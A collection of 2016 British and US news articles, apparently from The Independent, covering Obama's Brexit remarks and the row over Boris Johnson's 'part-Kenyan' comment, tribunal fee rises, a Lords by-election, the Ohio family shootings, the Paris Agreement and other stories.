Recommended Read more Boris is failing to prove his Brexit campaign is more than xenophobia

But the row was overshadowed by a stark warning from the US president that Britains role in the world could be diminished by leaving the EU, and that it would have to wait many years for its own trade deal with the United States.

"The United States wants a strong United Kingdom as a partner and the United Kingdom is at its best when it is helping to lead a strong Europe," he said. "It leverages UK power to be part of the European Union. I don't believe the EU moderates British influence in the world, it magnifies it."

Speaking after meeting the Queen and the Duke of Edinburgh at Windsor Castle, he said that while said nothing could affect the emotional, cultural and intellectual affinities between Britain and the US, Brexit would have a dramatic impact on the trade relationship between the two countries.

What's the European Parliament ever done for us? Show all 5 1 /5 What's the European Parliament ever done for us? What's the European Parliament ever done for us? A cap on the amount of hours an employer can make you work The Working Time directive provides legal standards to ensure the health and safety of employees in Europe. Among the many rules are a working week of a maximum 48 hours, including overtime, a daily rest period of 11 hours in every 24, a break if a person works for six hours or more, and one day off in every seven. It also includes provisions for paid annual leave of at least four weeks every year Getty Images What's the European Parliament ever done for us? Helping the people of Britain to avoid smoking In 2014 MEPs passed the Tobacco Products Directive strengthening existing rules on the manufacture, production and presentation of tobacco products. This includes things like reduced branding, restrictions on products containing flavoured tobacco, health warnings on cigarette packets and provisions for e-cigarettes to ensure they are safe What's the European Parliament ever done for us? Helping you to make the right choices with your food Thanks to the European Parliament, UK consumers have access to more information than ever about their food and drink. This includes amount of fat, and how much of it is saturated, carbohydrates, sugars, protein and so on. It also includes portion sizes and guideline daily amount information so people can make informed choices about their diet. All facts must be clear and easy to understand What's the European Parliament ever done for us? Two year guarantees and 14-day returns policy for all products Consumers across the EU have access to a number of rights, from things which are potentially very useful, to things which used to be annoying. For example, shoppers in the UK receive a two-year guarantee on all products, and a 14-day period to change their minds and return a purchase, these things are useful www.PeopleImages.com-licence restrictions apply What's the European Parliament ever done for us? Keeping your air nice and fresh (and safe) Believe it or not, although the situation is improving, some areas of the UK have appalling air quality. A report by the Royal College of Physicians released on 23 February says 40,000 deaths are caused by outdoor air pollution in the UK every year. Air pollution is linked to a number of illnesses and conditions, from Asthma to diabetes and dementia. The report estimates the costs to British business and the health service add up to 20 billion every year

Responding to critics who said he had no right to intervene in the debate, he said that those arguing for Brexit should not be afraid to hear his arguments.

My understanding is that some of the folks on the other side have been ascribing to the United States certain actions well take if the UK does leave the EU, he said. They say for example, well just cut our own trade deals with the United States. Theyre voicing opinion about what the United States are going to do. I figured you might want to hear it from the President of the United States.

I think its fair to say that maybe at some point down the line there might be a UK-US trade agreement  its not going to happen any time soon because our focus is on is in negotiating with a big bloc, the European Union, to get a trade agreement done. The UK is going to be in the back of the queue.

Mr Obamas visit was marked by protestations by Leave campaigners that he was acting hypocritically in recommending the UK continue to cede powers to Brussels in a way the US never would to another country.

In an article for The Sun newspaper, Boris Johnson said that for the US to tell Britain we must surrender control of so much of our democracy was a breath-taking example of the principle of do as I say, not as I do.

But the London Mayors suggestion that Mr Obama had removed a bust of Churchill from the Oval Office as a snub to Britain, and a symbol of the part-Kenyan presidents ancestral dislike of the British Empire drew severe criticism.

 Obama tribute to the Queen

Downing Street said that Mr Johnson had his facts wrong, while Churchills grandson, the MP Sir Nicholas Soames, called the article appalling. Labours Shadow Chancellor John McDonnell said the comment was an example of dog whistle racism and called for it to be withdrawn.

Addressing the claim head-on, Mr Obama said he had a bust of Churchill outside his private office which he saw every day.

"It's there voluntarily because I can do anything on the second floor. I love the guy, he said. Explaining his decision to remove the Oval Office bust, he said: "I thought it was appropriate - and I think most people in the United Kingdom might agree - that as the first African American president, it might be appropriate to have a bust of Dr Martin Luther King in my office to remind me of all the hard work of a lot of people who had somehow allowed me to have the privilege of holding this office," he said.

Addressing the UKs choice in the EU referendum, the president said he was not in London to fix any votes but launched an impassioned defence of Britains role within the union.

"Precisely because I have a confidence in the UK, and I know that if we are not working effectively with Paris or Brussels then those [terror] attacks are going to migrate to the United States and to London, I want one of my strongest partners in that conversation, he said.

"So it enhances the special relationship, it does not diminish it."

Mr Obama said that while the vote was a matter for the British people, the US had a "deep interest" in the outcome.

Last night leave campaigners renewed their attack on Mr Obama. The Ukip leader Nigel Farage said: Last time we followed foreign policy advice from a US President was when we went to war in Iraq. We should be wary.

The former Labour Foreign Secretary, Lord Owen, said the public would be puzzled that the President was arguing for Britain to stay in the dysfunctional bloc, particularly as the eurozone faced impending collapse.

Polling by Ipsos Mori found the public was split on whether Mr Obama was right to speak out on EU membership, with 49 per cent said he was entitled to express his view, while 46 per cent said he was not.
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Boris Johnson has been accused of dog whistle racism and base politics of the worse kind after remarks about Barack Obama's Kenyan heritage  as Nigel Farage echoed the controversial comments.

The London Mayor - who is backing the campaign for Britain to leave the European Union - criticised the US President for his intervention in the EU referendum debate, adding his attitude to Britain might be based on his part-Kenyan heritage and dislike of the British Empire.

In a column for The Sun, Mr Johnson referred to the removal of a bust of Winston Churchill from the Oval office when Mr Obama became President.

"No one was sure whether the President had himself been involved in the decision," he said.

"Some said it was a snub to Britain. Some said it was a symbol of the part-Kenyan President's ancestral dislike of the British Empire - of which Churchill had been such a fervent defender."

Ukip leader Nigel Farage echoed the Mayor's comments, adding: "His first day in the White House, he had the bust of Winston Churchill removed from the Oval Office.

"Because of his grandfather and Kenya and colonialisation, I think Obama has a bit of a grudge against this country."

But cross-party politicians, diplomats and commentators attacked Mr Johnson over the remarks.

Mask slips again. Boris part-Kenyan Obama comment is yet another example of dog whistle racism from senior Tories. He should withdraw it, said the Shadow Chancellor John McDonnell.

Labour MP Chuka Umunna, said: "Once again we see the ugly face of the Tory party. The nasty party is back. Zac Goldsmith has played on Sadiq Khan's Muslim heritage to try to link him with radical extremists, and today Boris Johnson has played on Barack Obama's Kenyan ancestry to question his motives around the EU referendum debate.

"This is beyond the pale and base politics of the worst kind. We may have come to expect this from Donald Trump  but Goldsmith and Boris should know better, and Londoners deserve better.

Ten things Boris Johnson doesn't want you to know Show all 11 1 /11 Ten things Boris Johnson doesn't want you to know Ten things Boris Johnson doesn't want you to know pg-12-boris-2-pa.jpg BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-mother.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-boy.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Great-Grandfather.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Oxford-Union-President.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Allegra.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Bullingdon.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Bullingdon-2.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-young-man.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Petronella-Wyatt.png BBC Ten things Boris Johnson doesn't want you to know anish.jpg PA

Conservative MP Nicholas Soames, who is the grandson of the late Sir Winston Churchill, was not impressed by the comment piece. Appalling article by Boris Johnson in [The] Sun, totally wrong on almost everything, he said.

Richard Newby, the Liberal Democrat chief whip in the Lords, said Johnsons remarks were despicable. Boris Johnson suggesting that Obama is anti-British because father was Kenyan. Despicable. Desperate. Demeaning," Mr Newby said.

Two former senior British diplomats also joined those criticising Mr Johnson, over his claims in the Sun newspaper.

Sir Stephen Wall, former British permanent representative to the European Union, said: "Boris Johnson's comment implying the President of the United States is driven by his ancestral dislike of the British Empire is demeaning to the debate. Using that type of language does not reflect Britain's standing in the world or the country we aspire to be.

"As our most important ally, President Obama has the right to offer his view and he has made it clear that being in Europe magnifies British influence and enhances Britain's global leadership."

And former UK ambassador to Washington Lord Kerr said: "The US has an interest in Britain, its closest ally, being stronger, safer and better off in the EU  not weaker, out on its own. To claim that the American president has no right to say what he believes, and speak up for US political, economic and business interests is typical Boris bluff and bluster."

Labour frontbencher Diane Abbott added: "Boris dismissing President Obama as 'half-Kenyan' reflects the worst Tea Party rhetoric".

The claim over removing the bust of Britains wartime leader from the Oval office, however, was debunked by the Washington Post in January.

There is no evidence that Obama personally decided to return the bust; given the economic crisis at the time, one imagines he had bigger issues on his mind, a journalist at the Post wrote.

Asked how David Cameron viewed Mr Johnson's comments on the president's "half-Kenyan" heritage, the Prime Minister's official spokeswoman said: "It is important to engage with the facts.

"If you look at the issue the mayor of London was talking about, which related to the bust of Churchill in the Oval Office, they have been clear that this suggestion that he asked for it to be moved and that it is a failure of the president's appreciation of the special relationship is false.

"That decision had already been taken before President Obama took office, so let's focus on the facts."
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Boris Johnson has criticised the US president Barack Obama and suggested his attitude to Britain might be based on his part-Kenyan heritage and ancestral dislike of the British empire.

Writing a column for The Sun newspaper the outgoing Mayor of London recounted a story about a bust of Winston Churchill purportedly being removed from White House.

Some said it was a snub to Britain. Some said it was a symbol of the part-Kenyan Presidents ancestral dislike of the British empire  of which Churchill had been such a fervent defender, he wrote.

The White House said in 2012 that the story of the bust being moved was 100 per cent false and that the bust remained in the White House, having been moved to the President's private residence.

It was however later forced to clarify that the Churchill bust still located in the President's residence was in fact a different bust, and that one had indeed been removed.

The Mayor said that the US would never dream of engaging in an arragement similar to the EU.

It is deeply anti-democratic  and much as I admire the United States, and much as I respect the President, I believe he must admit that his country would not dream of embroiling itself in anything of the kind, he said.

Conservative MP Nicholas Soames, who is the grandson of the late Sir Winston Churchill, was not impressed by the comment piece.

Appalling article by Boris Johnson in [The] Sun, totally wrong on almost everything, he said.

Labour's shadow chancellor John McDonnell called on Mr Johnson to withdraw the comment.

Ten things Boris Johnson doesn't want you to know Show all 11 1 /11 Ten things Boris Johnson doesn't want you to know Ten things Boris Johnson doesn't want you to know pg-12-boris-2-pa.jpg BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-mother.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-boy.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Great-Grandfather.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Oxford-Union-President.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Allegra.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Bullingdon.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Bullingdon-2.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-young-man.png BBC Ten things Boris Johnson doesn't want you to know Boris-Johnson-Petronella-Wyatt.png BBC Ten things Boris Johnson doesn't want you to know anish.jpg PA

Mask slips again. Boris part-Kenyan Obama comment is yet another example of dog whistle racism from senior Tories. He should withdraw it, he said.

Mr Johnsons column comes on the day Mr Obama visits Britain to encourage the UK to stay in the bloc.

The US president is expected to tell a town-hall style meeting that the EU helps the UK achieve greater opportunity and prosperity.

His intervention has receive push-back from some eurosceptics, however. Jacob Rees-Mogg, a prominent Tory backbencher, said last week that parts of the Obama administration were not friends of the United Kingdom.

Independent version- Should Obama intervene in the EU referendum?

A YouGov poll for the right-wing CapX website found most of the British public - 51 per cent  attribute Mr Obamas intervention to him believing it will be easier to deal with Europe as a single bloc.

24 per cent believe Mr Obama thinks Britain staying in the EU is in the interests of global security, while 14 per cent believe the president is making the call as a favour to David Cameron.

Just 4 per cent believed Mr Obama cared about Britains prosperity and believed it was better off in the EU.

The Mayor of London is currently the favourite to succeed David Cameron as Prime Minister.

This story has been updated to clarify the location of the Churchill bust
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Barack Obama has called on Britain to stay in the European Union as international allies stick together against the challenges of terrorism, conflict and migration.

The European Union doesnt moderate British influence  it magnifies it, he wrote in the Daily Telegraph.

A strong Europe is not a threat to Britains global leadership - it enhances Britains global leadership.

The US and the world need your outsized influence to continue  including within Europe.

Barack Obama with Angela Merkel, the German Chancellor (Getty)

The US President arrived for a three-day visit to the UK late on Thursday night and is scheduled to meet David Cameron, have lunch with the Queen and go to Kensington Palace for dinner with the Duke and Duchess of Cambridge.

The timing of his trip across the Atlantic sparked accusations that the Prime Minister had asked him to intervene in the EU referendum debate, or as Eurosceptic Iain Duncan Smith put it, bully the British people into making a decision.

Independent version- Should Obama intervene in the EU referendum?

Mr Obama acknowledged the controversy, wryly confessing that he wanted to wish the Queen a happy 90th birthday in person.

Ultimately, the question of whether or not the UK remains a part of the EU is a matter for British voters to decide for yourselves, he wrote.

Hailing the special relationship between the US and the UK, the President characterised Britain as his countrys strongest link with the EU and said co-operation would be far more effective without a Brexit.

But in a counter-attack in The Sun, Boris Johnson accused Mr Obama of incoherent hypocrisy.

 Boris' dad campaigns to Remain

For the United States to tell us in the UK that we must surrender control of so much of our democracy  it is a breathtaking example of the principle of do-as-I-say-but-not-as-I-do, said the Mayor of London, who is campaigning for Vote Leave.

He dismissed arguments that Britains membership of the EU made it a stronger ally for America, claiming the 28-nation bloc was stifling democracy.

Speaking ahead of the Presidents visit, Mr Cameron said they would be working on urgent challenges including Isis and conflicts in Syria, Iraq and elsewhere.

Human smuggling, Libya, Afghanistan, Ukraine and sanctions against Russia are also among the topics on the table.

But the pair are also expected to discuss the 23 June referendum ahead of a highly anticipated public intervention by the US leader.

A petition to prevent Mr Obama from giving a speech on the issue during his visit to Westminster had received almost 35,000 signatures by Friday morning.

Responding with a statement, a spokesperson for the Government said: It is an established convention that members of either House can invite whoever they wish and in whatever capacity, to Parliament, to discuss and speak on a wide range of issues.
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The Ministry of Justice has revealed plans to increase the cost for immigrants to appeal against Home Office decisions by up to 500 per cent.

Government ministers set out the proposals to hike the fees after claiming that only nine per cent of the annual costs of first-tier immigration and asylum tribunals were recouped from those bringing cases in the last financial year.

The tribunals examine cases brought against decisions made by the Home Office relating to permission to stay in the UK, deportation and clearance to enter the country.

In the first-tier tribunal costs would rise from 80 to 490 for an application for a decision based on legal papers and from 140 to 800 for an application for an oral hearing. A new fee of 455 for an application for permission to appeal to the upper tribunal would be introduced.

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The consultation also proposes a 510 charge for an appeal hearing in the higher chamber if permission is granted. It is expected to save around 37 million a year.

But the Law Society said there is a serious risk the plans could prevent many people from challenging incorrect Home Office decisions.

Justice Minister Dominic Raab, who announced the plans in a written ministerial statement, said: "Having re-assessed the Ministry of Justice's financial position following the Spending Review, we need to go much further.

"In light of the challenging financial circumstances we face we have already had to take difficult decisions. We have implemented enhanced court fees, above the cost of the proceedings to which they relate, for money claims; possession claims; general applications within civil proceedings; and divorce petitions.

"In these financial circumstances, we have concluded that it is no longer reasonable to expect the taxpayer to fund around 75% of the costs of immigration and asylum proceedings."

 New UK immigration rule under criticism

He said the Government is "mindful" of the fact that some applicants will face difficulties paying the fees, so those in "particularly vulnerable positions" will continue to be exempt from them.

This will include those who qualify for legal aid or asylum support, people who are appealing against a decision to deprive them of their citizenship and children bringing appeals to the tribunal who are being supported by a local authority.

Responding to the new plans, Law Society President, Jonathan Smithers, said: It is fundamental to the rule of law that access to the courts and tribunals should not be determined by the ability to pay - the provision of justice should not be an accounting exercise.

There is a serious risk that fee increases of 500% will prevent many people from challenging often incorrect Home Office administrative decisions about their entitlement to enter or remain in the UK.

When employment tribunal fees were increased sharply many who had been wronged were discouraged from pursuing valid claims. Since June 2013 the number of employment tribunal cases has dropped by nearly 70 per cent and our members have told us that many claimants with strong cases see the fee as a significant deterrent to seeking justice.

The announcement follows recent significant increases in visa application fees which have generated additional revenue for the Government.

Mr Raab added: "Higher fees are never popular but they are necessary if we are, as a nation, to live within our means.

"These proposals would raise around an additional 37 million a year, which is a critical contribution to cutting the deficit and reducing the burden on the taxpayer of running the courts and tribunals."

Mr Cameron's official spokeswoman said: "This is about making sure that it is not the UK taxpayer subsidising court cases for those challenging immigration decisions made by the Government and making sure that the court process isn't seen as a cost-free way of extending a stay in the UK by those not entitled to remain."

The spokeswoman added that there were more than 60,000 unsuccessful Immigration Tribunal appeals last year and that measures were being taken to exempt the "most vulnerable" individuals from the fees.
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A former MP has been elevated to the House of Lords as a hereditary peer following an election in which only three people could vote.

John Thurso has won a by-election caused by the death of hereditary peer Eric Lubbock, Lord Avebury, which only existing Liberal Democrat peers could vote in.

Under existing Lords procedures, the 92 hereditary peers can only be elected to the upper chamber by members of their own party.

Viscount Thurso was a member of the House of Lords between 1995 and 1999 before being expelled when New Labour reforms axed most 'hereditary' peers in favour of 'life' peers.

He was then elected MP for Caithness and Sutherland in 2001 and served up until 2015.

The existence of a remaining rump of 92 hereditary peers was seen as a temporary compromise by the government at the time to get the reforms through Parliament.

Viscount Thurso was unanimously elected by the Earl of Oxford, the Earl of Glasgow and Lord Addington.

He is the grandson of Archibald Sinclair, a former Liberal Party leader who was a member of Winston Churchills wartime coalition government.

UK news in pictures Show all 50 1 /50 UK news in pictures UK news in pictures 21 October 2022 Sculptor Peter McKenna puts the finishing touches to a pumpkin that will form part of the Planet A Hebden Bridge Pumpkin Trail in the West Yorkshire town PA UK news in pictures 20 October 2022 Britains Prime Minister Liz Truss delivers a speech outside of 10 Downing Street in central London to announce her resignation AFP/Getty UK news in pictures 19 October 2022 Salmon leap up Stainforth Force on the River Ribble in the Yorkshire Dales as they swim upriver to their spawning grounds during the annual Salmon migration PA UK news in pictures 18 October 2022 Just Stop Oil protesters continue their protest for a second day on the Queen Elizabeth II Bridge, which links Kent and Essex and which remains closed for traffic, after it was scaled by two climbers from the group PA UK news in pictures 17 October 2022 Hundreds of students take part in the traditional Raisin Monday foam fight on St Salvator's Lower College Lawn at the University of St Andrews in Fife PA UK news in pictures 16 October 2022 A protester holds a placard during a march into central London at a demonstration by the climate change protest group Extinction Rebellion AFP/Getty UK news in pictures 15 October 2022 A member of the public drags an activist who is blocking the road during a "Just Stop Oil" protest, in London, Britain REUTERS UK news in pictures 14 October 2022 Germanys Womens double skulls during day one of the World Rowing Beach Sprint Finals at Saundersfoot beach, Pembrokeshire PA UK news in pictures 13 October 2022 Family and mourners arrive at St Michael's Church, in Creeslough, for the funeral mass of 49-year-old mother of four Martina Martin, who died following an explosion at the Applegreen service station in the village of Creeslough in Co Donegal on Friday PA UK news in pictures 12 October 2022 Motorists in Coventry pass trees showing autumnal colour PA UK news in pictures 11 October 2022 A woman and her dog in the the North Sea at Tynemouth Longsands beach before sunrise PA UK news in pictures 10 October 2022 Police officers remove a campaigner from a Just Stop Oil protest on The Mall, near Buckingham Palace, London PA UK news in pictures 9 October 2022 A drummer plays during the Diwali on the Square celebration, in Trafalgar Square, London PA UK news in pictures 8 October 2022 Timothee Chalamet attending the UK premiere of Bones and All during the BFI London Film Festival 2022 at the Royal Festival Hall, Southbank Centre, London PA UK news in pictures 7 October 2022 Two young male fallow deer lock antlers in Dublins Phoenix park as rutting season begins PA UK news in pictures 6 October 2022 The Princess of Wales during a cocktail making competition during a visit to Trademarket, a new outdoor street-food and retail market situated in Belfast city centre, as part of the royal visit to Northern Ireland PA UK news in pictures 5 October 2022 Greenpeace protesters interrupt Prime Minister Liz Truss as she delivers her keynote speech to the Conservative Party annual conference PA UK news in pictures 4 October 2022 Prime Minister Liz Truss and Britains Chancellor of the Exchequer Kwasi Kwarteng wearing hard hats and hi-vis jackets, visit a construction site for a medical innovation campus in Birmingham AFP/Getty UK news in pictures 3 October 2022 British artist Sam Cox, aka Mr Doodle, reveals the Doodle House, a twelve-room mansion at Tenterden, in Kent, which has been covered, inside and out in the artist's trademark monochrome, cartoonish hand-drawn doodles PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. 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Last week, Lord Aveburys son John Lubbock called for a boycott of the election, calling it farcical.

He wrote in the Guardian: "If reforming parties such as the Liberal Democrats want to be taken seriously, they should not embrace the mockery of this anachronistic election.

"Refusing to fill Aveburys place would be a far more fitting tribute to his legacy.

"At a time when all political parties remain tarnished in the public eye, some moral leadership in boycotting this ludicrous election would have been welcome."
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No one was pooling any sovereignty down at the Foreign Office. This was a full on hostile takeover.

Back when Abraham Lincoln was too busy emancipating to make any meaningful scramble for Africa, India or anywhere at all really, about three quarters of the population of the earth was governed within these whitewashed walls at the bottom of Whitehall. But not on Friday. This was a full on regime change. Shock and awe.

Only the grey skies, the chill wind and the sideways rain outside gave any reminder that we were all still in Her Majestys United Kingdom. The lowly British Westminster press corps suddenly knew what it felt like to be Vietnamese in the 1970s. Or Korean in the 1950s. Or Nicaraguan just about any time since the 1850s. Or Guatemalan, or Iraqi, or Afghan, or Libyan. Or Filipino, or Cambodian. You get the picture.

Recommended Read more Barack Obama explains why he moved Winston Churchill bust

Admission to the US President and the British Prime Ministers press conference was by White House Press Pool badge only. The White House is 3,622 miles away. Once safely through the metal detectors, men called Schulz and women called Desree bestrode the Foreign Office's Locarno Suite as doth a colossus, but with immaculately sculpted hair that shone like polished granite. The Locarno rooms are named after a town in Switzerland where a conference took place in 1925, to which Mussolini made an understated entrance by speedboat. In the form of the implacable Desree, Il Duce was here in spirit.

UK on the right. US on the left, she bellowed as she marched us in, the Wedding Planner From Hell.

David Cameron spoke first. If you follow the television pictures closely enough, there is a slim chance you might find one member of the hundred strong audience become very briefly turn their head in his direction but this cannot be guaranteed. Not when there's an Obama to stare at.

The President had written in his opinion piece in Friday mornings Telegraph that the people of America would be taking a deep interest in Britains EU referendum, and this was very much reflected in the enquiries made of him by the American press corps, one of whom deftly demanded answers on Vladimir Putin, transgender laws in North Carolina and the death of Prince in a single sentence. Another was just as keen to to know about Libya and Hiroshima.

It had been suggested by the more deranged end of the Brexit camp that a visiting US President should not be allowed to give his opinion on the referendum question, as if depriving those of us with a vote to cast from knowing what our oldest and most important ally thinks on the matter is a helpful thing to do. For this, the President had a sharp, but obvious answer.

Im not coming here to fix any votes, he said. Im offering my opinion. In democracies everybody should want more information not less.

The main charge against him has been that, here he is, President of the USA, demanding that the British should sacrifice their right to govern themselves in a way the US would never accept. On this, he was similarly ambiguous.

If Ive got access to a massive market, where I sell 44 per cent of my exports, he patiently explained, smiling as he did so. And now Im thinking about leaving the organisation that gives me access to that market, that is responsible for millions of jobs, and commerce on which businesses depend. Thats not something Id probably do.

It was at this point that the British side glanced over the aisle with sympathy. How have they put up with this short-sighted lunacy for eight years, without the wisdom of Nigel Farage to keep them sane?

But would the Special Relationship survive Brexit? Nothing will impact the emotional and cultural and intellectual affinities, he said. [But] our focus will be on negotiating with a big bloc. And the UK is going to be at the back of the queue.

Ill still send you a Christmas card, but there wont be a fiver in it.

The effortlessness with which the case for Brexit was dismantled was worrying in its way. With two months til the referendum, that job now falls to David Cameron and, in theory, Jeremy Corbyn.
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A woman was booed by the Question Time audience on Thursday for suggesting junior doctors participating in strikes against the governments imposed contract should be sacked from their posts.

The woman, who claimed to be a former Accident and Emergency worker, launched the furious tirade as members of the BBC panel discussed the on-going dispute over the junior doctors contract.

The atmosphere, however, turned decidedly frosty when she suggested the proposed strikes were all about money, adding that if members of military were to act like the striking doctors they would be "arrested for going Awol.

She claimed the strike was making the general public anxious by cancelling appointments.

Despite it being illegal in the UK to dismiss a worker for participating in legally organised and balloted industrial action, the womans outburst went on to claim they should be sacked for participating.

It is their choice, she said. Anybody else in any other job would be sacked for doing that. Shame on them.

Met with boos, she added: I used to work in A&E and before you do extra hours you opt in they do 79 hours because they push at the weekend to get more money. Im sorry, its true.

In pictures: Junior doctors protests in UK Show all 10 1 /10 In pictures: Junior doctors protests in UK In pictures: Junior doctors protests in UK 20,000 Junior Doctors marched through central London in protest at the new contract changes the government is trying to impose which they say will be unfair and unsafe In pictures: Junior doctors protests in UK Junior doctors protest in London In pictures: Junior doctors protests in UK 4 year old Cassius takes part in a demonstration in Westminster, in support of junior doctors over changes to NHS contracts, London In pictures: Junior doctors protests in UK Protest over proposed changes to junior doctors' contracts, Leeds In pictures: Junior doctors protests in UK Junior doctors and NHS staff protesting against the health service cuts and the proposed contract changes offered by the government outside Parliament In pictures: Junior doctors protests in UK Junior doctors and NHS staff protesting against the health service cuts and the proposed contract changes offered by the government outside Parliament In pictures: Junior doctors protests in UK Over 5000 junior doctors rallied in Waterloo place, before marching through Whitehall and onto Parliament Square, in opposition to Jeremy Hunt's new working conditions for doctors In pictures: Junior doctors protests in UK Demonstrators listen to speeches in Waterloo Place during the 'Let's Save the NHS' rally and protest march by junior doctors In pictures: Junior doctors protests in UK Junior doctors marched in London to highlight their plight In pictures: Junior doctors protests in UK A protester at a demonstration in support of junior doctors in London

Nobody can force anybody to do over the 50 hours a week. They chose to physically do it. They put the patients at risk themselves. Im sorry, its all about money and it is wrong. Anybody who goes Awol and doesnt turn up for a shift when theyve gone on strike should be sacked.

If you were in the military, youd get arrested for going Awol.

"The NHS doesnt want them going off work. They are technically going Awol. They are not turning up for their shifts, making people anxious by cancelling appointments. It's their choice."

An Ipsos MORI survey conducted in February for the Health Service Journal shows 64 per cent blame the Government for the strike while just 13 say it is junior doctors' fault.

While there has been a small rise in opposition to the strike, public support for the stoppage as a whole is still very high, with just 36 per cent opposed to the strike and 66 per cent supportive.
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At least eight family members are dead, including seven adults and one 16-year-old, after a series of execution-style shootings across a rural town in Ohio. Police believe at least one suspect is still at large.

Police said that the killings took place at four separate homes across Pike County on Friday. Three children survived the shootings, including a 4-day-old newborn, who was sleeping near its dead mother.

This is a horrible, horrible tragedy," Ohio Attorney General Mike DeWine told reporters at press conference, adding that it appeared the Rhoden family was specifically targeted.

"Obviously we have one person who is armed and dangerous and there may be more, two or three," Attorney General DeWine said. "We don't really know how many people we are talking about.

Emergency and media personnel arrive at Union Hill Road. John Minchillo/Associated Press (John Minchillo/Associated Press)

Phil Fulton, pastor of the nearby Union Hill Community Church, said that the mother and children previously attended church services at his house of worship.

It was a mother, her former husband, their grown children and some grandchildren too. They all used to attend our church, he told reporters.

The mother worked at a nursing home for the elderly, he said. She had just bought a new mobile home near the two existing trailers occupied by her ex-husband and her son, Fulton said. All three trailers are less than a mile apart on Union Mill Road, near Peebles, a town of nearly 2,000 people just 80 miles east of Cincinnati.

Ohio Governor John Kasich called the reports tragic beyond comprehension.

The Ohio Bureau of Criminal Investigation is assisting the Pike County Sheriffs Office in the ongoing investigation. Cincinnatis FBI office also announced that it was closely monitoring the situation.

No arrests or motives were clear by late afternoon.
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The world has taken a major step in the fight against climate change, as leaders from at least 171 nations signed the Paris Agreement  a deal that could help significantly reduce greenhouse gases.

Taking place on Earth Day, the deal is the first instance of countries signing such an agreement on the first available date, according to the Associated Press. Nations that have not signed the deal have another year to do so.

We are in a race against time, said United Nations Secretary-Genral Ban Ki-moon. The era of consumption without consequences is over.

US Secretary of State John Kerry, who held his granddaughter while he signed the deal, called it the strongest most ambitious global climate pact ever negotiated, in a statement posted to his Twitter account.

He added that with enough people working toward the same goal, real, measurable change is possible.

The landmark climate change deal is now expected to take effect mucher sooner than the original expected date in 2020.

Countries that sign the deal must now approve formally amongst their own governments.

The AP said the US intends to approve this year. Should the country join the agreement before President Barack Obamas term ends at the beginning of 2017, it would be complicated for a successor to withdraw. Such a process would take four years according to the agreements rules.

Under the Paris Agreement, which was reached in December after lengthy UN negotiations, countries are required to set targets every five years to reduce their greenhouse emissions, like carbon dioxide.

President Obama lauded the signing of the deal on the White House website, but warned of whats at stake.

As the world's second-largest source of climate pollution, he wrote, America has a responsibility to act. The stakes are enormous  our planet, our children, our future. That's true not just here in America, but all over the world.

No one is immune."
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Police in a small city in Texas have appealed for help with finding the owner of a pet tiger that was found roaming the streets.

The young female cub was found in Conroe, near Houston, and taken into captivity by the authorities without incident.

Photos of the animal were later posted to the Conroe Police Department Facebook page.

The department said: "We received a report of a tiger wandering the area of Coral Cove Pass near Longmire and League Line.

Animal control officers were able to locate and capture the animal. We are asking for assistance in locating the owner. The female tiger has a collar and a leash.

The post has since been shared over 4,000 times.

The tiger  who reportedly knew the commands of sit and stay, was found by local residents Jonathan Gessner and Erin Poole, who saw it in some undergrowth. Their call to police was initially considered a hoax.

I saw something run into the bushesit was really big, Ms Poole told The Venture.

"Out of nowhere she took off running towards me, Mr Gessner said. She put her paws on my shoulders and started licking me in the face. I was really scared at first.

Shes very friendly, Ms Poole said. She was playing just like a cat would.

She would brush up against your leg and let you pet her, Ms Poole said. I thought she would have made a great pet. But shes still a wild animal, and this is a harsh environment for her. I dont think shes in her rightful home.

A man, identified only as Cody, told local news outlet ABC13 that he has some association with the tiger but his status remains unclear.

Her name is Nala, Cody told the broadcaster. She's very nice. She's a 4-5 month old tiger. We dropped her off at a friend's and I don't really know how she got out.

Despite it being legal to own exotic animals in some parts of Texas, Conroe has legislation against the practice.

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It seems to be a tame animal, seems very playful and friendly, said Sgt. Dorcy McGinnis of the Conroe Police Department.

However, she added: It is a very strong animal. It definitely would not be appropriate here in the City of Conroe.

Despite the friendly temperament of the Conroe cub, tigers remain potentially dangerous creatures. Earlier in April, 38-year-old tiger keeper Stacey Konwiser was killed by a Malayan tiger she was looking after at Palm Beach Zoo in Florida.
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When Donald Trump was about to walk on to stage in Hartford, Connecticut, the third rally of the day, Jim Campbell was there to introduce him.

I have to confess that at the end of a long day of three rallies, backstage, he was tired. But on stage, [he was] electric, said Mr Campbell.

As Republican Town Committee Chairman in Greenwich for the last six years, the 54-year-old is confident his preferred candidate will sweep all 28 delegates on primary day next week.

In the hometown of George H W Bush, where the average home costs around $2 million, Mr Trump is leading the polls at 48 per cent, according to a recent Quinnipiac poll. Ohio governor John Kasich and Texas Senator Ted Cruz lag behind at 28 per cent and 19 per cent respectively.

